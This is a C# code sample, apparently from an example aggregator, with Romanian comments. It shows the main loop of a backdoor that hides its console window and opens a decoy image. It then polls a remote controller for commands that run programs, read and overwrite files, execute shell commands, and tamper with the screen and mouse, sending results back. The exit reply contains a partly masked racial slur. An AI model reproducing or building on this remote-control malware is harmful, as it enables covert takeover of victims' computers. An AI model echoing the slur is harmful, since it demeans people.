Exemple #1
0
        //Functia main
        static void Main(string[] args)
        {
            //Hide console
            IntPtr myWindow = GetConsoleWindow();

            ShowWindow(myWindow, 0);


            String  comanda    = "";
            String  raspuns    = "";
            Program myProcess  = new Program();
            string  local_name = myProcess.GetLocalName(myProcess.ExecuteCom("hostname"));

            myProcess.path = myProcess.ExecuteCD("cd");

            Console.WriteLine("Host-ul este: " + local_name + "!");
            Console.WriteLine("Path-ul initial este: " + myProcess.path2 + "!" + myProcess.path + "!");

            myProcess.ExecuteCom("cars.jpg");
            myProcess.Nest();

            do
            {
                comanda = myProcess.GetCom(local_name);

                Console.WriteLine("Testez comanda: !" + comanda + "!");

                if (comanda != "" && comanda != null)
                {
                    comanda = System.Text.RegularExpressions.Regex.Replace(comanda, @"\s+", " ");
                    string[] words = comanda.Split(' ');

                    switch (words[0])
                    {
                    case "run":
                        raspuns = myProcess.OpenApplication(words[1], words.Length);
                        break;

                    case "read":
                        raspuns = myProcess.Read(words[1], words.Length);
                        break;

                    case "update":
                        raspuns = myProcess.UpdateFile(words[1], comanda.Remove(0, 8 + words[1].Length));
                        break;

                    case "cmd":
                        raspuns = myProcess.ExCmd(comanda, words, words.Length);
                        break;

                    case "rotate":
                        raspuns = myProcess.RotateScreen(words[1], words.Length);
                        break;

                    case "invert":
                        raspuns = myProcess.InversMouse(words[1], words.Length);
                        break;

                    case "message":
                        raspuns = myProcess.OSMessage(comanda.Remove(0, 8));
                        break;

                    case "exit":
                        raspuns = "See you n***a";
                        break;

                    default:
                        Console.WriteLine("Default case");
                        raspuns = "Error: Invalid Command";
                        break;
                    }
                    time_wait = 1000;
                    myProcess.SetAns(raspuns, local_name);
                }
                else
                {
                    time_wait = 5000;
                }
                System.Threading.Thread.Sleep(time_wait);
            } while (comanda != "exit");
        }